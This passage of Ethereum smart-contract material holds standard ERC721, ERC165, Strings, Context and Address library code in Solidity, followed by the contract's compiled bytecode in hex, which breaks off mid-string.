invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x6080604052600436106101cd5760003560e01c80636352211e116100f757806395d89b4111610095578063cb2432a711610064578063cb2432a71461063d578063d700322214610666578063e985e9c514610691578063f2fde38b146106ce576101cd565b806395d89b4114610583578063a22cb465146105ae578063b88d4fde146105d7578063c87b56dd14610600576101cd565b8063715018a6116100d1578063715018a61461050e5780638456cb59146105255780638da5cb5b1461053c5780639028f13514610567576101cd565b80636352211e1461046b5780636e792b18146104a857806370a08231146104d1576101cd565b8063380d831b1161016f5780634f6ccce71161013e5780634f6ccce7146103b157806355f804b3146103ee5780635c975abb14610417578063627804af14610442576101cd565b8063380d831b146103315780633ccfd60b1461034857806342842e0e1461035f57806349df728c14610388576101cd565b8063095ea7b3116101ab578063095ea7b31461027757806318160ddd146102a057806323b872dd146102cb5780632f745c59146102f4576101cd565b806301ffc9a7146101d257806306fdde031461020f578063081812fc1461023a575b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f491906137c0565b6106f7565b6040516102069190613e88565b60405180910390f35b34801561021b57600080fd5b50610224610709565b6040516102319190613ea3565b60405180910390f35b34801561024657600080fd5b50610261600480360381019061025c9190613890565b61079b565b60405161026e9190613df8565b60405180910390f35b34801561028357600080fd5b5061029e60048036038101906102999190613753565b610820565b005b3480156102ac57600080fd5b506102b5610938565b6040516102c29190614285565b60405180910390f35b3480156102d757600080fd5b506102f260048036038101906102ed919061363d565b610945565b005b34801561030057600080fd5b5061031b60048036038101906103169190613753565b6109a5565b6040516103289190614285565b60405180910390f35b34801561033d57600080fd5b50610346610a4a565b005b34801561035457600080fd5b5061035d610c09565b005b34801561036b57600080fd5b506103866004803603810190610381919061363d565b610d68565b005b34801561039457600080fd5b506103af60048036038101906103aa919061381a565b610d88565b005b3480156103bd57600080fd5b506103d860048036038101906103d39190613890565b610f5d565b6040516103e59190614285565b60405180910390f35b3480156103fa57600080fd5b5061041560048036038101906104109190613847565b610fce565b005b34801561042357600080fd5b5061042c6110df565b6040516104399190613e88565b60405180910390f35b34801561044e57600080fd5b5061046960048036038101906104649190613753565b6110f6565b005b34801561047757600080fd5b50610492600480360381019061048d9190613890565b6112ae565b60405161049f9190613df8565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca9190613847565b611360565b005b3480156104dd57600080fd5b506104f860048036038101906104f391906135d0565b6114d8565b6040516105059190614285565b60405180910390f35b34801561051a57600080fd5b50610523611590565b005b34801561053157600080fd5b5061053a6116cd565b005b34801561054857600080fd5b506105516117a3565b60405161055e9190613df8565b60405180910390f35b610581600480360381019061057c9190613890565b6117cd565b005b34801561058f57600080fd5b506105986119c6565b6040516105a59190613ea3565b60405180910390f35b3480156105ba57600080fd5b506105d560048036038101906105d09190613713565b611a58565b005b3480156105e357600080fd5b506105fe60048036038101906105f99190613690565b611bd9565b005b34801561060c57600080fd5b5061062760048036038101906106229190613890565b611c3b565b6040516106349190613ea3565b60405180910390f35b34801561064957600080fd5b50610664600480360381019061065f9190613890565b611c4d565b005b34801561067257600080fd5b5061067b611cd3565b6040516106889190614285565b60405180910390f35b34801561069d57600080fd5b506106b860048036038101906106b391906135fd565b611cdd565b6040516106c59190613e88565b60405180910390f35b3480156106da57600080fd5b506106f560048036038101906106f091906135d0565b611d71565b005b600061070282611f33565b9050919050565b60606000805461071890614547565b80601f016020809104026020016040519081016040528092919081815260200182805461074490614547565b80156107915780601f1061076657610100808354040283529160200191610791565b820191906000526020600020905b81548152906001019060200180831161077457829003601f168201915b5050505050905090565b60006107a682611fad565b6107e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107dc90614145565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061082b826112ae565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561089c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089390614205565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108bb612019565b73ffffffffffffffffffffffffffffffffffffffff1614806108ea57506108e9816108e4612019565b611cdd565b5b610929576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092090614065565b60405180910390fd5b6109338383612021565b505050565b6000600880549050905090565b610956610950612019565b826120da565b610995576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098c90614225565b60405180910390fd5b6109a08383836121b8565b505050565b60006109b0836114d8565b82106109f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e890613ee5565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610a52612019565b73ffffffffffffffffffffffffffffffffffffffff16610a706117a3565b73ffffffffffffffffffffffffffffffffffffffff1614610ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abd90614165565b60405180910390fd5b601160009054906101000a900460ff1615610b16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0d90614025565b60405180910390fd5b610b1e6110df565b15610b5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b55906140a5565b60405180910390fd5b610b66610938565b600f5414610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba090614005565b60405180910390fd5b6001601160006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f017c3c67596bf3765531204f6eae2365a257d386c769dbbe71a191da149e861060405160405180910390a2565b610c11612019565b73ffffffffffffffffffffffffffffffffffffffff16610c2f6117a3565b73ffffffffffffffffffffffffffffffffffffffff1614610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c90614165565b60405180910390fd5b60004790506000610ca0600a8361241490919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc610ccf838561242a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015610cfa573d6000803e3d6000fd5b50601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d63573d6000803e3d6000fd5b505050565b610d8383838360405180602001604052806000815250611bd9565b505050565b610d90612019565b73ffffffffffffffffffffffffffffffffffffffff16610dae6117a3565b73ffffffffffffffffffffffffffffffffffffffff1614610e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfb90614165565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e3e57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e799190613df8565b60206040518083038186803b158015610e9157600080fd5b505afa158015610ea5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec991906138bd565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610f06929190613e5f565b602060405180830381600087803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f589190613793565b505050565b6000610f67610938565b8210610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f90614245565b60405180910390fd5b60088281548110610fbc57610fbb6146e0565b5b90600052602060002001549050919050565b610fd6612019565b73ffffffffffffffffffffffffffffffffffffffff16610ff46117a3565b73ffffffffffffffffffffffffffffffffffffffff161461104a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104190614165565b60405180910390fd5b601160009054906101000a900460ff161561109a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109190614025565b60405180910390fd5b60006110a46110df565b905080156110b5576110b4612440565b5b81601090805190602001906110cb9291906133a5565b5080156110db576110da6124e2565b5b5050565b6000600b60009054906101000a900460ff16905090565b6110fe612019565b73ffffffffffffffffffffffffffffffffffffffff1661111c6117a3565b73ffffffffffffffffffffffffffffffffffffffff1614611172576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116990614165565b60405180910390fd5b601160009054906101000a900460ff16156111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990614025565b60405180910390fd5b600f546111cf600c612585565b1115611210576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611207906141e5565b60405180910390fd5b6112186110df565b611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90614185565b60405180910390fd5b61125f612440565b60005b61127583611270600c612585565b612593565b61127f600c611f1d565b808061128a906145aa565b915050818110801561129d5750600e5481105b611262576112a96116cd565b505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e906140c5565b60405180910390fd5b80915050919050565b611368612019565b73ffffffffffffffffffffffffffffffffffffffff166113866117a3565b73ffffffffffffffffffffffffffffffffffffffff16146113dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d390614165565b60405180910390fd5b601160009054906101000a900460ff161561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390614025565b60405180910390fd5b6114346110df565b611473576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146a90613f45565b60405180910390fd5b80601090805190602001906114899291906133a5565b50611492612440565b3373ffffffffffffffffffffffffffffffffffffffff167f18cf0e1dac2db2ed720cf9c5f3e00ed92af694f6e105b89958a19448e415bfca60405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611549576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154090614085565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611598612019565b73ffffffffffffffffffffffffffffffffffffffff166115b66117a3565b73ffffffffffffffffffffffffffffffffffffffff161461160c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160390614165565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600b60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6116d5612019565b73ffffffffffffffffffffffffffffffffffffffff166116f36117a3565b73ffffffffffffffffffffffffffffffffffffffff1614611749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174090614165565b60405180910390fd5b601160009054906101000a900460ff1615611799576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179090614025565b60405180910390fd5b6117a16124e2565b565b6000600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008111611810576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180790614265565b60405180910390fd5b600f5461181d600c612585565b111561185e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611855906141e5565b60405180910390fd5b611873600d54826125b190919063ffffffff16565b34146118b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ab906140e5565b60405180910390fd5b600e548111156118f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f090613f85565b60405180910390fd5b60005b8080611907906145aa565b91505061191d33611918600c612585565b612593565b611927600c611f1d565b81811080156119415750600f5461193e600c612585565b11155b6118fc57600061195a828461242a90919063ffffffff16565b905060008111156119c1573373ffffffffffffffffffffffffffffffffffffffff166108fc611994600d54846125b190919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119bf573d6000803e3d6000fd5b505b505050565b6060600180546119d590614547565b80601f0160208091040260200160405190810160405280929190818152602001828054611a0190614547565b8015611a4e5780601f10611a2357610100808354040283529160200191611a4e565b820191906000526020600020905b815481529060010190602001808311611a3157829003601f168201915b5050505050905090565b611a60612019565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ace576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac590613fc5565b60405180910390fd5b8060056000611adb612019565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611b88612019565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611bcd9190613e88565b60405180910390a35050565b611bea611be4612019565b836120da565b611c29576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2090614225565b60405180910390fd5b611c35848484846125c7565b50505050565b6060611c4682612623565b9050919050565b611c55612019565b73ffffffffffffffffffffffffffffffffffffffff16611c736117a3565b73ffffffffffffffffffffffffffffffffffffffff1614611cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc090614165565b60405180910390fd5b80600d8190555050565b6000600d54905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611d79612019565b73ffffffffffffffffffffffffffffffffffffffff16611d976117a3565b73ffffffffffffffffffffffffffffffffffffffff1614611ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611de490614165565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5490613f25565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600b60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600b60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6001816000016000828254019250508190555050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480611fa65750611fa582612775565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612094836112ae565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60006120e582611fad565b612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211b90613fe5565b60405180910390fd5b600061212f836112ae565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061219e57508373ffffffffffffffffffffffffffffffffffffffff166121868461079b565b73ffffffffffffffffffffffffffffffffffffffff16145b806121af57506121ae8185611cdd565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166121d8826112ae565b73ffffffffffffffffffffffffffffffffffffffff161461222e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612225906141a5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561229e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229590613fa5565b60405180910390fd5b6122a9838383612857565b6122b4600082612021565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612304919061444b565b925050819055506001600360008473fff